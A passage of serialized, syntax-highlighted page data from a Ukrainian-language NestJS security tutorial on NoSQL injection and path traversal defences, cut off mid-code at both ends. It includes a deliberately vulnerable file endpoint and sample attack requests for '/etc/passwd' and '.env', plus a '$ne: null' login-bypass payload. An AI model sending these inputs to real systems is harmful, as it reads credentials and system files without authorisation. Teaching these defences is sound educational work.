LoginDto",[5260,10486,5306],{"class":5273},[5260,10488,10489,10491,10493],{"class":5262,"line":5321},[5260,10490,5312],{"class":5273},[5260,10492,9322],{"class":5277},[5260,10494,5318],{"class":5273},[5260,10496,10497,10499,10501,10503],{"class":5262,"line":5371},[5260,10498,9368],{"class":5341},[5260,10500,5345],{"class":5273},[5260,10502,5348],{"class":5302},[5260,10504,5567],{"class":5273},[5260,10506,10507],{"class":5262,"line":5377},[5260,10508,5577],{"emptyLinePlaceholder":5576},[5260,10510,10511,10513,10515,10517],{"class":5262,"line":5408},[5260,10512,5312],{"class":5273},[5260,10514,6833],{"class":5277},[5260,10516,5357],{"class":5273},[5260,10518,10519],{"class":5266},"\u002F\u002F ❗ Важливо: гарантуємо, що це string, а не object\n",[5260,10521,10522,10524,10526,10528,10531],{"class":5262,"line":5414},[5260,10523,5312],{"class":5273},[5260,10525,10463],{"class":5277},[5260,10527,5281],{"class":5273},[5260,10529,10530],{"class":5893},"6",[5260,10532,5288],{"class":5273},[5260,10534,10535,10538,10540,10542],{"class":5262,"line":5420},[5260,10536,10537],{"class":5341},"  password",[5260,10539,5345],{"class":5273},[5260,10541,5348],{"class":5302},[5260,10543,5567],{"class":5273},[5260,10545,10546],{"class":5262,"line":5580},[5260,10547,5423],{"class":5273},[5089,10549,10550],{},[5099,10551,6289],{},[5251,10553,10555],{"className":5253,"code":10554,"language":5255,"meta":5256,"style":5256},"@Post('login')\nasync login(@Body() dto: LoginDto) {\n  \u002F\u002F dto.password ГАРАНТОВАНО string, не може бути { $ne: null }\n  const user = await this.userModel.findOne({\n    email: dto.email,\n    password: dto.password, \u002F\u002F Безпечно\n  });\n\n  if (!user) {\n    throw new UnauthorizedException('Invalid credentials');\n  }\n\n  return { token: this.generateToken(user) };\n}\n",[5200,10556,10557,10569,10590,10595,10617,10629,10644,10648,10652,10662,10677,10681,10685,10705],{"__ignoreMap":5256},[5260,10558,10559,10561,10563,10565,10567],{"class":5262,"line":5263},[5260,10560,5274],{"class":5273},[5260,10562,5491],{"class":5277},[5260,10564,5281],{"class":5273},[5260,10566,10146],{"class":5284},[5260,10568,5288],{"class":5273},[5260,10570,10571,10573,10575,10577,10579,10581,10583,10585,10588],{"class":5262,"line":5270},[5260,10572,6676],{"class":5341},[5260,10574,7708],{"class":5277},[5260,10576,5327],{"class":5273},[5260,10578,5506],{"class":5277},[5260,10580,5357],{"class":5273},[5260,10582,5511],{"class":5341},[5260,10584,5345],{"class":5273},[5260,10586,10587],{"class":5341},"LoginDto",[5260,10589,5368],{"class":5273},[5260,10591,10592],{"class":5262,"line":5291},[5260,10593,10594],{"class":5266},"  \u002F\u002F dto.password ГАРАНТОВАНО string, не може бути { $ne: null }\n",[5260,10596,10597,10599,10601,10603,10605,10607,10609,10611,10613,10615],{"class":5262,"line":5309},[5260,10598,5807],{"class":5298},[5260,10600,8760],{"class":5531},[5260,10602,5535],{"class":5273},[5260,10604,5538],{"class":5294},[5260,10606,5541],{"class":5298},[5260,10608,5383],{"class":5273},[5260,10610,10186],{"class":5341},[5260,10612,5383],{"class":5273},[5260,10614,10191],{"class":5277},[5260,10616,5979],{"class":5273},[5260,10618,10619,10621,10623,10625,10627],{"class":5262,"line":5321},[5260,10620,10198],{"class":5341},[5260,10622,9509],{"class":5341},[5260,10624,5383],{"class":5273},[5260,10626,8724],{"class":5341},[5260,10628,6156],{"class":5273},[5260,10630,10631,10633,10635,10637,10639,10641],{"class":5262,"line":5371},[5260,10632,10212],{"class":5341},[5260,10634,9509],{"class":5341},[5260,10636,5383],{"class":5273},[5260,10638,10219],{"class":5341},[5260,10640,6012],{"class":5273},[5260,10642,10643],{"class":5266},"\u002F\u002F Безпечно\n",[5260,10645,10646],{"class":5262,"line":5377},[5260,10647,6646],{"class":5273},[5260,10649,10650],{"class":5262,"line":5408},[5260,10651,5577],{"emptyLinePlaceholder":5576},[5260,10653,10654,10656,10658,10660],{"class":5262,"line":5414},[5260,10655,10234],{"class":5294},[5260,10657,8146],{"class":5273},[5260,10659,7721],{"class":5341},[5260,10661,5368],{"class":5273},[5260,10663,10664,10667,10669,10671,10673,10675],{"class":5262,"line":5420},[5260,10665,10666],{"class":5294},"    throw",[5260,10668,8228],{"class":5298},[5260,10670,10281],{"class":5277},[5260,10672,5281],{"class":5273},[5260,10674,10286],{"class":5284},[5260,10676,5405],{"class":5273},[5260,10678,10679],{"class":5262,"line":5580},[5260,10680,5417],{"class":5273},[5260,10682,10683],{"class":5262,"line":5589},[5260,10684,5577],{"emptyLinePlaceholder":5576},[5260,10686,10687,10689,10691,10693,10695,10697,10699,10701,10703],{"class":5262,"line":5611},[5260,10688,6231],{"class":5294},[5260,10690,6474],{"class":5273},[5260,10692,10249],{"class":5341},[5260,10694,5541],{"class":5298},[5260,10696,5383],{"class":5273},[5260,10698,10256],{"class":5277},[5260,10700,5281],{"class":5273},[5260,10702,7721],{"class":5341},[5260,10704,10263],{"class":5273},[5260,10706,10707],{"class":5262,"line":5637},[5260,10708,5423],{"class":5273},[5238,10710,10712],{"id":10711},"_2-санітизація-mongodb-операторів","2. Санітизація MongoDB операторів",[5251,10714,10716],{"className":5253,"code":10715,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Fcommon\u002Futils\u002Fsanitize-mongodb.util.ts\nexport function sanitizeMongoQuery(obj: any): any {\n  if (typeof obj !== 'object' || obj === null) {\n    return obj;\n  }\n\n  const sanitized: any = Array.isArray(obj) ? [] : {};\n\n  for (const key in obj) {\n    \u002F\u002F Видалити всі ключі, що починаються з $ (MongoDB операторі)\n    if (key.startsWith('$')) {\n      continue;\n    }\n\n    sanitized[key] = sanitizeMongoQuery(obj[key]);\n  }\n\n  return sanitized;\n}\n",[5200,10717,10718,10723,10747,10776,10784,10788,10792,10819,10823,10842,10847,10868,10875,10879,10883,10908,10912,10916,10924],{"__ignoreMap":5256},[5260,10719,10720],{"class":5262,"line":5263},[5260,10721,10722],{"class":5266},"\u002F\u002F src\u002Fcommon\u002Futils\u002Fsanitize-mongodb.util.ts\n",[5260,10724,10725,10727,10729,10732,10734,10737,10739,10741,10743,10745],{"class":5262,"line":5270},[5260,10726,5295],{"class":5294},[5260,10728,6101],{"class":5298},[5260,10730,10731],{"class":5277}," sanitizeMongoQuery",[5260,10733,5281],{"class":5273},[5260,10735,10736],{"class":5341},"obj",[5260,10738,5345],{"class":5273},[5260,10740,9862],{"class":5302},[5260,10742,6115],{"class":5273},[5260,10744,9862],{"class":5302},[5260,10746,5306],{"class":5273},[5260,10748,10749,10751,10753,10756,10759,10761,10764,10767,10769,10772,10774],{"class":5262,"line":5291},[5260,10750,10234],{"class":5294},[5260,10752,8600],{"class":5273},[5260,10754,10755],{"class":5298},"typeof",[5260,10757,10758],{"class":5341}," obj",[5260,10760,8606],{"class":5273},[5260,10762,10763],{"class":5284},"'object'",[5260,10765,10766],{"class":5273}," || ",[5260,10768,10736],{"class":5341},[5260,10770,10771],{"class":5273}," === ",[5260,10773,10342],{"class":5298},[5260,10775,5368],{"class":5273},[5260,10777,10778,10780,10782],{"class":5262,"line":5309},[5260,10779,5562],{"class":5294},[5260,10781,10758],{"class":5341},[5260,10783,5567],{"class":5273},[5260,10785,10786],{"class":5262,"line":5321},[5260,10787,5417],{"class":5273},[5260,10789,10790],{"class":5262,"line":5371},[5260,10791,5577],{"emptyLinePlaceholder":5576},[5260,10793,10794,10796,10798,10800,10802,10804,10807,10809,10812,10814,10816],{"class":5262,"line":5377},[5260,10795,5807],{"class":5298},[5260,10797,6699],{"class":5531},[5260,10799,5345],{"class":5273},[5260,10801,9862],{"class":5302},[5260,10803,5535],{"class":5273},[5260,10805,10806],{"class":5341},"Array",[5260,10808,5383],{"class":5273},[5260,10810,10811],{"class":5277},"isArray",[5260,10813,5281],{"class":5273},[5260,10815,10736],{"class":5341},[5260,10817,10818],{"class":5273},") ? [] : {};\n",[5260,10820,10821],{"class":5262,"line":5408},[5260,10822,5577],{"emptyLinePlaceholder":5576},[5260,10824,10825,10828,10830,10832,10835,10838,10840],{"class":5262,"line":5414},[5260,10826,10827],{"class":5294},"  for",[5260,10829,8600],{"class":5273},[5260,10831,5865],{"class":5298},[5260,10833,10834],{"class":5531}," key",[5260,10836,10837],{"class":5298}," in",[5260,10839,10758],{"class":5341},[5260,10841,5368],{"class":5273},[5260,10843,10844],{"class":5262,"line":5420},[5260,10845,10846],{"class":5266},"    \u002F\u002F Видалити всі ключі, що починаються з $ (MongoDB операторі)\n",[5260,10848,10849,10851,10853,10856,10858,10861,10863,10866],{"class":5262,"line":5580},[5260,10850,8143],{"class":5294},[5260,10852,8600],{"class":5273},[5260,10854,10855],{"class":5341},"key",[5260,10857,5383],{"class":5273},[5260,10859,10860],{"class":5277},"startsWith",[5260,10862,5281],{"class":5273},[5260,10864,10865],{"class":5284},"'$'",[5260,10867,8220],{"class":5273},[5260,10869,10870,10873],{"class":5262,"line":5589},[5260,10871,10872],{"class":5294},"      continue",[5260,10874,5567],{"class":5273},[5260,10876,10877],{"class":5262,"line":5611},[5260,10878,8170],{"class":5273},[5260,10880,10881],{"class":5262,"line":5637},[5260,10882,5577],{"emptyLinePlaceholder":5576},[5260,10884,10885,10888,10890,10892,10895,10898,10900,10902,10904,10906],{"class":5262,"line":5643},[5260,10886,10887],{"class":5341},"    sanitized",[5260,10889,6249],{"class":5273},[5260,10891,10855],{"class":5341},[5260,10893,10894],{"class":5273},"] = ",[5260,10896,10897],{"class":5277},"sanitizeMongoQuery",[5260,10899,5281],{"class":5273},[5260,10901,10736],{"class":5341},[5260,10903,6249],{"class":5273},[5260,10905,10855],{"class":5341},[5260,10907,6280],{"class":5273},[5260,10909,10910],{"class":5262,"line":5649},[5260,10911,5417],{"class":5273},[5260,10913,10914],{"class":5262,"line":5662},[5260,10915,5577],{"emptyLinePlaceholder":5576},[5260,10917,10918,10920,10922],{"class":5262,"line":5698},[5260,10919,6231],{"class":5294},[5260,10921,6699],{"class":5341},[5260,10923,5567],{"class":5273},[5260,10925,10926],{"class":5262,"line":5713},[5260,10927,5423],{"class":5273},[5089,10929,10930],{},[5099,10931,6289],{},[5251,10933,10935],{"className":5253,"code":10934,"language":5255,"meta":5256,"style":5256},"@Post('search')\nasync search(@Body() query: any) {\n  const sanitized = sanitizeMongoQuery(query);\n  return this.userModel.find(sanitized);\n}\n",[5200,10936,10937,10949,10970,10986,11007],{"__ignoreMap":5256},[5260,10938,10939,10941,10943,10945,10947],{"class":5262,"line":5263},[5260,10940,5274],{"class":5273},[5260,10942,5491],{"class":5277},[5260,10944,5281],{"class":5273},[5260,10946,5285],{"class":5284},[5260,10948,5288],{"class":5273},[5260,10950,10951,10953,10956,10958,10960,10962,10964,10966,10968],{"class":5262,"line":5270},[5260,10952,6676],{"class":5341},[5260,10954,10955],{"class":5277}," search",[5260,10957,5327],{"class":5273},[5260,10959,5506],{"class":5277},[5260,10961,5357],{"class":5273},[5260,10963,5342],{"class":5341},[5260,10965,5345],{"class":5273},[5260,10967,9862],{"class":5341},[5260,10969,5368],{"class":5273},[5260,10971,10972,10974,10976,10978,10980,10982,10984],{"class":5262,"line":5291},[5260,10973,5807],{"class":5298},[5260,10975,6699],{"class":5531},[5260,10977,5535],{"class":5273},[5260,10979,10897],{"class":5277},[5260,10981,5281],{"class":5273},[5260,10983,5342],{"class":5341},[5260,10985,5405],{"class":5273},[5260,10987,10988,10990,10992,10994,10996,10998,11000,11002,11005],{"class":5262,"line":5309},[5260,10989,6231],{"class":5294},[5260,10991,5541],{"class":5298},[5260,10993,5383],{"class":5273},[5260,10995,10186],{"class":5341},[5260,10997,5383],{"class":5273},[5260,10999,9137],{"class":5277},[5260,11001,5281],{"class":5273},[5260,11003,11004],{"class":5341},"sanitized",[5260,11006,5405],{"class":5273},[5260,11008,11009],{"class":5262,"line":5321},[5260,11010,5423],{"class":5273},[5089,11012,11013],{},[5099,11014,9056],{},[5251,11016,11018],{"className":10299,"code":11017,"language":10301,"meta":5256,"style":5256},"POST \u002Fsearch\n{\n  \"email\": \"admin@example.com\",\n  \"password\": { \"$ne\": null }\n}\n\n\u002F\u002F Після санітизації\n{\n  \"email\": \"admin@example.com\",\n  \"password\": {}  \u002F\u002F $ne видалено\n}\n",[5200,11019,11020,11025,11029,11039,11053,11057,11061,11066,11070,11080,11090],{"__ignoreMap":5256},[5260,11021,11022],{"class":5262,"line":5263},[5260,11023,11024],{"class":5273},"POST \u002Fsearch\n",[5260,11026,11027],{"class":5262,"line":5270},[5260,11028,10313],{"class":5273},[5260,11030,11031,11033,11035,11037],{"class":5262,"line":5291},[5260,11032,10319],{"class":10318},[5260,11034,5345],{"class":5273},[5260,11036,10324],{"class":5284},[5260,11038,6156],{"class":5273},[5260,11040,11041,11043,11045,11047,11049,11051],{"class":5262,"line":5309},[5260,11042,10331],{"class":10318},[5260,11044,10334],{"class":5273},[5260,11046,10337],{"class":10318},[5260,11048,5345],{"class":5273},[5260,11050,10342],{"class":5298},[5260,11052,10345],{"class":5273},[5260,11054,11055],{"class":5262,"line":5321},[5260,11056,5423],{"class":5273},[5260,11058,11059],{"class":5262,"line":5371},[5260,11060,5577],{"emptyLinePlaceholder":5576},[5260,11062,11063],{"class":5262,"line":5377},[5260,11064,11065],{"class":5266},"\u002F\u002F Після санітизації\n",[5260,11067,11068],{"class":5262,"line":5408},[5260,11069,10313],{"class":5273},[5260,11071,11072,11074,11076,11078],{"class":5262,"line":5414},[5260,11073,10319],{"class":10318},[5260,11075,5345],{"class":5273},[5260,11077,10324],{"class":5284},[5260,11079,6156],{"class":5273},[5260,11081,11082,11084,11087],{"class":5262,"line":5420},[5260,11083,10331],{"class":10318},[5260,11085,11086],{"class":5273},": {}  ",[5260,11088,11089],{"class":5266},"\u002F\u002F $ne видалено\n",[5260,11091,11092],{"class":5262,"line":5580},[5260,11093,5423],{"class":5273},[5238,11095,11097],{"id":11096},"_3-mongoose-схеми-з-strong-typing","3. Mongoose схеми з strong typing",[5251,11099,11101],{"className":5253,"code":11100,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Fusers\u002Fschemas\u002Fuser.schema.ts\nimport { Prop, Schema, SchemaFactory } from '@nestjs\u002Fmongoose';\nimport { Document } from 'mongoose';\n\n@Schema()\nexport class User extends Document {\n  @Prop({ required: true, type: String }) \u002F\u002F Явна вказівка типу\n  email: string;\n\n  @Prop({ required: true, type: String })\n  password: string;\n\n  @Prop({ type: String, enum: ['user', 'admin'] })\n  role: string;\n}\n\nexport const UserSchema = SchemaFactory.createForClass(User);\n",[5200,11102,11103,11108,11136,11154,11158,11166,11183,11209,11219,11223,11243,11253,11257,11286,11297,11301,11305],{"__ignoreMap":5256},[5260,11104,11105],{"class":5262,"line":5263},[5260,11106,11107],{"class":5266},"\u002F\u002F src\u002Fusers\u002Fschemas\u002Fuser.schema.ts\n",[5260,11109,11110,11112,11114,11117,11119,11122,11124,11127,11129,11131,11134],{"class":5262,"line":5270},[5260,11111,5938],{"class":5294},[5260,11113,6474],{"class":5273},[5260,11115,11116],{"class":5341},"Prop",[5260,11118,6012],{"class":5273},[5260,11120,11121],{"class":5341},"Schema",[5260,11123,6012],{"class":5273},[5260,11125,11126],{"class":5341},"SchemaFactory",[5260,11128,6480],{"class":5273},[5260,11130,6483],{"class":5294},[5260,11132,11133],{"class":5284}," '@nestjs\u002Fmongoose'",[5260,11135,5567],{"class":5273},[5260,11137,11138,11140,11142,11145,11147,11149,11152],{"class":5262,"line":5291},[5260,11139,5938],{"class":5294},[5260,11141,6474],{"class":5273},[5260,11143,11144],{"class":5341},"Document",[5260,11146,6480],{"class":5273},[5260,11148,6483],{"class":5294},[5260,11150,11151],{"class":5284}," 'mongoose'",[5260,11153,5567],{"class":5273},[5260,11155,11156],{"class":5262,"line":5309},[5260,11157,5577],{"emptyLinePlaceholder":5576},[5260,11159,11160,11162,11164],{"class":5262,"line":5321},[5260,11161,5274],{"class":5273},[5260,11163,11121],{"class":5277},[5260,11165,5318],{"class":5273},[5260,11167,11168,11170,11172,11175,11178,11181],{"class":5262,"line":5371},[5260,11169,5295],{"class":5294},[5260,11171,5299],{"class":5298},[5260,11173,11174],{"class":5302}," User",[5260,11176,11177],{"class":5298}," extends",[5260,11179,11180],{"class":5302}," Document",[5260,11182,5306],{"class":5273},[5260,11184,11185,11187,11189,11191,11194,11196,11198,11201,11204,11206],{"class":5262,"line":5377},[5260,11186,5312],{"class":5273},[5260,11188,11116],{"class":5277},[5260,11190,7359],{"class":5273},[5260,11192,11193],{"class":5341},"required:",[5260,11195,7365],{"class":5298},[5260,11197,6012],{"class":5273},[5260,11199,11200],{"class":5341},"type:",[5260,11202,11203],{"class":5341}," String",[5260,11205,6931],{"class":5273},[5260,11207,11208],{"class":5266},"\u002F\u002F Явна вказівка типу\n",[5260,11210,11211,11213,11215,11217],{"class":5262,"line":5408},[5260,11212,9368],{"class":5341},[5260,11214,5345],{"class":5273},[5260,11216,5348],{"class":5302},[5260,11218,5567],{"class":5273},[5260,11220,11221],{"class":5262,"line":5414},[5260,11222,5577],{"emptyLinePlaceholder":5576},[5260,11224,11225,11227,11229,11231,11233,11235,11237,11239,11241],{"class":5262,"line":5420},[5260,11226,5312],{"class":5273},[5260,11228,11116],{"class":5277},[5260,11230,7359],{"class":5273},[5260,11232,11193],{"class":5341},[5260,11234,7365],{"class":5298},[5260,11236,6012],{"class":5273},[5260,11238,11200],{"class":5341},[5260,11240,11203],{"class":5341},[5260,11242,9268],{"class":5273},[5260,11244,11245,11247,11249,11251],{"class":5262,"line":5580},[5260,11246,10537],{"class":5341},[5260,11248,5345],{"class":5273},[5260,11250,5348],{"class":5302},[5260,11252,5567],{"class":5273},[5260,11254,11255],{"class":5262,"line":5589},[5260,11256,5577],{"emptyLinePlaceholder":5576},[5260,11258,11259,11261,11263,11265,11267,11269,11271,11274,11276,11278,11280,11283],{"class":5262,"line":5611},[5260,11260,5312],{"class":5273},[5260,11262,11116],{"class":5277},[5260,11264,7359],{"class":5273},[5260,11266,11200],{"class":5341},[5260,11268,11203],{"class":5341},[5260,11270,6012],{"class":5273},[5260,11272,11273],{"class":5341},"enum:",[5260,11275,5994],{"class":5273},[5260,11277,8938],{"class":5284},[5260,11279,6012],{"class":5273},[5260,11281,11282],{"class":5284},"'admin'",[5260,11284,11285],{"class":5273},"] })\n",[5260,11287,11288,11291,11293,11295],{"class":5262,"line":5637},[5260,11289,11290],{"class":5341},"  role",[5260,11292,5345],{"class":5273},[5260,11294,5348],{"class":5302},[5260,11296,5567],{"class":5273},[5260,11298,11299],{"class":5262,"line":5643},[5260,11300,5423],{"class":5273},[5260,11302,11303],{"class":5262,"line":5649},[5260,11304,5577],{"emptyLinePlaceholder":5576},[5260,11306,11307,11309,11312,11315,11317,11319,11321,11324,11326,11328],{"class":5262,"line":5662},[5260,11308,5295],{"class":5294},[5260,11310,11311],{"class":5298}," const",[5260,11313,11314],{"class":5531}," UserSchema",[5260,11316,5535],{"class":5273},[5260,11318,11126],{"class":5341},[5260,11320,5383],{"class":5273},[5260,11322,11323],{"class":5277},"createForClass",[5260,11325,5281],{"class":5273},[5260,11327,7726],{"class":5341},[5260,11329,5405],{"class":5273},[5089,11331,11332],{},"Mongoose автоматично відхилить дані, що не відповідають схемі.",[5143,11334],{},[5084,11336,11338],{"id":11337},"path-traversal-несанкціонований-доступ-до-файлів","Path Traversal: Несанкціонований доступ до файлів",[5089,11340,11341,11343],{},[5099,11342,5125],{}," (також Directory Traversal) — це атака, при якій зловмисник маніпулює шляхами до файлів для доступу до файлів поза дозволеною директорією.",[5233,11345,11347],{"id":11346},"приклад-path-traversal-атаки","Приклад Path Traversal атаки",[5089,11349,11350],{},[5099,11351,8679],{},[5251,11353,11355],{"className":5253,"code":11354,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: використання user input для побудови шляху\n@Get('files\u002F:filename')\nasync getFile(@Param('filename') filename: string, @Res() res: Response) {\n  const filePath = `.\u002Fuploads\u002F${filename}`;\n  res.sendFile(filePath, { root: __dirname });\n}\n",[5200,11356,11357,11362,11375,11414,11437,11461],{"__ignoreMap":5256},[5260,11358,11359],{"class":5262,"line":5263},[5260,11360,11361],{"class":5266},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: використання user input для побудови шляху\n",[5260,11363,11364,11366,11368,11370,11373],{"class":5262,"line":5270},[5260,11365,5274],{"class":5273},[5260,11367,5315],{"class":5277},[5260,11369,5281],{"class":5273},[5260,11371,11372],{"class":5284},"'files\u002F:filename'",[5260,11374,5288],{"class":5273},[5260,11376,11377,11379,11382,11384,11386,11388,11391,11393,11396,11398,11400,11402,11404,11406,11408,11410,11412],{"class":5262,"line":5291},[5260,11378,6676],{"class":5341},[5260,11380,11381],{"class":5277}," getFile",[5260,11383,5327],{"class":5273},[5260,11385,8714],{"class":5277},[5260,11387,5281],{"class":5273},[5260,11389,11390],{"class":5284},"'filename'",[5260,11392,5338],{"class":5273},[5260,11394,11395],{"class":5341},"filename",[5260,11397,5345],{"class":5273},[5260,11399,5348],{"class":5341},[5260,11401,5351],{"class":5273},[5260,11403,5354],{"class":5277},[5260,11405,5357],{"class":5273},[5260,11407,5360],{"class":5341},[5260,11409,5345],{"class":5273},[5260,11411,5365],{"class":5341},[5260,11413,5368],{"class":5273},[5260,11415,11416,11418,11421,11423,11426,11428,11430,11432,11435],{"class":5262,"line":5309},[5260,11417,5807],{"class":5298},[5260,11419,11420],{"class":5531}," filePath",[5260,11422,5535],{"class":5273},[5260,11424,11425],{"class":5284},"`.\u002Fuploads\u002F",[5260,11427,5394],{"class":5298},[5260,11429,11395],{"class":5341},[5260,11431,5399],{"class":5298},[5260,11433,11434],{"class":5284},"`",[5260,11436,5567],{"class":5273},[5260,11438,11439,11441,11443,11446,11448,11451,11453,11456,11459],{"class":5262,"line":5321},[5260,11440,6369],{"class":5341},[5260,11442,5383],{"class":5273},[5260,11444,11445],{"class":5277},"sendFile",[5260,11447,5281],{"class":5273},[5260,11449,11450],{"class":5341},"filePath",[5260,11452,6922],{"class":5273},[5260,11454,11455],{"class":5341},"root:",[5260,11457,11458],{"class":5341}," __dirname",[5260,11460,6743],{"class":5273},[5260,11462,11463],{"class":5262,"line":5371},[5260,11464,5423],{"class":5273},[5089,11466,11467],{},[5099,11468,8798],{},[5251,11470,11473],{"className":11471,"code":11472,"language":5434},[5432],"GET \u002Ffiles\u002Freport.pdf\n\nШлях: .\u002Fuploads\u002Freport.pdf\nРезультат: повертає report.pdf\n",[5200,11474,11472],{"__ignoreMap":5256},[5089,11476,11477],{},[5099,11478,5428],{},[5251,11480,11483],{"className":11481,"code":11482,"language":5434},[5432],"GET \u002Ffiles\u002F..\u002F..\u002Fetc\u002Fpasswd\n\nШлях: .\u002Fuploads\u002F..\u002F..\u002Fetc\u002Fpasswd\nРеальний шлях: \u002Fetc\u002Fpasswd\nРезультат: витягує системний файл з паролями!\n",[5200,11484,11482],{"__ignoreMap":5256},[5089,11486,11487],{},[5099,11488,11489],{},"Атака для доступу до .env файлу:",[5251,11491,11494],{"className":11492,"code":11493,"language":5434},[5432],"GET \u002Ffiles\u002F..\u002F..\u002F.env\n\nРезультат: витягує конфігурацію з credentials до БД, API ключами тощо\n",[5200,11495,11493],{"__ignoreMap":5256},[5233,11497,11499],{"id":11498},"захист-від-path-traversal","Захист від Path Traversal",[5238,11501,11503],{"id":11502},"_1-whitelist-дозволених-файлів","1. Whitelist дозволених файлів",[5251,11505,11507],{"className":5253,"code":11506,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ✅ БЕЗПЕЧНО: дозволяємо лише файли з певного списку\nconst ALLOWED_FILES = new Set(['report.pdf', 'invoice.pdf', 'contract.pdf']);\n\n@Get('files\u002F:filename')\nasync getFile(@Param('filename') filename: string, @Res() res: Response) {\n  if (!ALLOWED_FILES.has(filename)) {\n    throw new NotFoundException('File not found');\n  }\n\n  const filePath = path.join(__dirname, 'uploads', filename);\n  res.sendFile(filePath);\n}\n",[5200,11508,11509,11514,11545,11549,11561,11597,11617,11633,11637,11641,11672,11686],{"__ignoreMap":5256},[5260,11510,11511],{"class":5262,"line":5263},[5260,11512,11513],{"class":5266},"\u002F\u002F ✅ БЕЗПЕЧНО: дозволяємо лише файли з певного списку\n",[5260,11515,11516,11518,11521,11523,11525,11528,11530,11533,11535,11538,11540,11543],{"class":5262,"line":5270},[5260,11517,5865],{"class":5298},[5260,11519,11520],{"class":5531}," ALLOWED_FILES",[5260,11522,5535],{"class":5273},[5260,11524,6504],{"class":5298},[5260,11526,11527],{"class":5277}," Set",[5260,11529,9395],{"class":5273},[5260,11531,11532],{"class":5284},"'report.pdf'",[5260,11534,6012],{"class":5273},[5260,11536,11537],{"class":5284},"'invoice.pdf'",[5260,11539,6012],{"class":5273},[5260,11541,11542],{"class":5284},"'contract.pdf'",[5260,11544,6280],{"class":5273},[5260,11546,11547],{"class":5262,"line":5291},[5260,11548,5577],{"emptyLinePlaceholder":5576},[5260,11550,11551,11553,11555,11557,11559],{"class":5262,"line":5309},[5260,11552,5274],{"class":5273},[5260,11554,5315],{"class":5277},[5260,11556,5281],{"class":5273},[5260,11558,11372],{"class":5284},[5260,11560,5288],{"class":5273},[5260,11562,11563,11565,11567,11569,11571,11573,11575,11577,11579,11581,11583,11585,11587,11589,11591,11593,11595],{"class":5262,"line":5321},[5260,11564,6676],{"class":5341},[5260,11566,11381],{"class":5277},[5260,11568,5327],{"class":5273},[5260,11570,8714],{"class":5277},[5260,11572,5281],{"class":5273},[5260,11574,11390],{"class":5284},[5260,11576,5338],{"class":5273},[5260,11578,11395],{"class":5341},[5260,11580,5345],{"class":5273},[5260,11582,5348],{"class":5341},[5260,11584,5351],{"class":5273},[5260,11586,5354],{"class":5277},[5260,11588,5357],{"class":5273},[5260,11590,5360],{"class":5341},[5260,11592,5345],{"class":5273},[5260,11594,5365],{"class":5341},[5260,11596,5368],{"class":5273},[5260,11598,11599,11601,11603,11606,11608,11611,11613,11615],{"class":5262,"line":5371},[5260,11600,10234],{"class":5294},[5260,11602,8146],{"class":5273},[5260,11604,11605],{"class":5531},"ALLOWED_FILES",[5260,11607,5383],{"class":5273},[5260,11609,11610],{"class":5277},"has",[5260,11612,5281],{"class":5273},[5260,11614,11395],{"class":5341},[5260,11616,8220],{"class":5273},[5260,11618,11619,11621,11623,11626,11628,11631],{"class":5262,"line":5377},[5260,11620,10666],{"class":5294},[5260,11622,8228],{"class":5298},[5260,11624,11625],{"class":5277}," NotFoundException",[5260,11627,5281],{"class":5273},[5260,11629,11630],{"class":5284},"'File not found'",[5260,11632,5405],{"class":5273},[5260,11634,11635],{"class":5262,"line":5408},[5260,11636,5417],{"class":5273},[5260,11638,11639],{"class":5262,"line":5414},[5260,11640,5577],{"emptyLinePlaceholder":5576},[5260,11642,11643,11645,11647,11649,11652,11654,11656,11658,11661,11663,11666,11668,11670],{"class":5262,"line":5420},[5260,11644,5807],{"class":5298},[5260,11646,11420],{"class":5531},[5260,11648,5535],{"class":5273},[5260,11650,11651],{"class":5341},"path",[5260,11653,5383],{"class":5273},[5260,11655,5703],{"class":5277},[5260,11657,5281],{"class":5273},[5260,11659,11660],{"class":5341},"__dirname",[5260,11662,6012],{"class":5273},[5260,11664,11665],{"class":5284},"'uploads'",[5260,11667,6012],{"class":5273},[5260,11669,11395],{"class":5341},[5260,11671,5405],{"class":5273},[5260,11673,11674,11676,11678,11680,11682,11684],{"class":5262,"line":5580},[5260,11675,6369],{"class":5341},[5260,11677,5383],{"class":5273},[5260,11679,11445],{"class":5277},[5260,11681,5281],{"class":5273},[5260,11683,11450],{"class":5341},[5260,11685,5405],{"class":5273},[5260,11687,11688],{"class":5262,"line":5589},[5260,11689,5423],{"class":5273},[5238,11691,11693],{"id":11692},"_2-валідація-імені-файлу","2. Валідація імені файлу",[5251,11695,11697],{"className":5253,"code":11696,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Ffiles\u002Fdto\u002Fget-file.dto.ts\nimport { IsString, Matches } from 'class-validator';\n\nexport class GetFileDto {\n  @IsString()\n  @Matches(\u002F^[a-zA-Z0-9_\\-\\.]+$\u002F, { \n    message: 'Ім\\'я файлу може містити лише літери, цифри, дефіси, підкреслення та крапки' \n  })\n  filename: string;\n}\n",[5200,11698,11699,11704,11724,11728,11739,11747,11780,11797,11801,11812],{"__ignoreMap":5256},[5260,11700,11701],{"class":5262,"line":5263},[5260,11702,11703],{"class":5266},"\u002F\u002F src\u002Ffiles\u002Fdto\u002Fget-file.dto.ts\n",[5260,11705,11706,11708,11710,11712,11714,11716,11718,11720,11722],{"class":5262,"line":5270},[5260,11707,5938],{"class":5294},[5260,11709,6474],{"class":5273},[5260,11711,6833],{"class":5341},[5260,11713,6012],{"class":5273},[5260,11715,6843],{"class":5341},[5260,11717,6480],{"class":5273},[5260,11719,6483],{"class":5294},[5260,11721,6850],{"class":5284},[5260,11723,5567],{"class":5273},[5260,11725,11726],{"class":5262,"line":5291},[5260,11727,5577],{"emptyLinePlaceholder":5576},[5260,11729,11730,11732,11734,11737],{"class":5262,"line":5309},[5260,11731,5295],{"class":5294},[5260,11733,5299],{"class":5298},[5260,11735,11736],{"class":5302}," 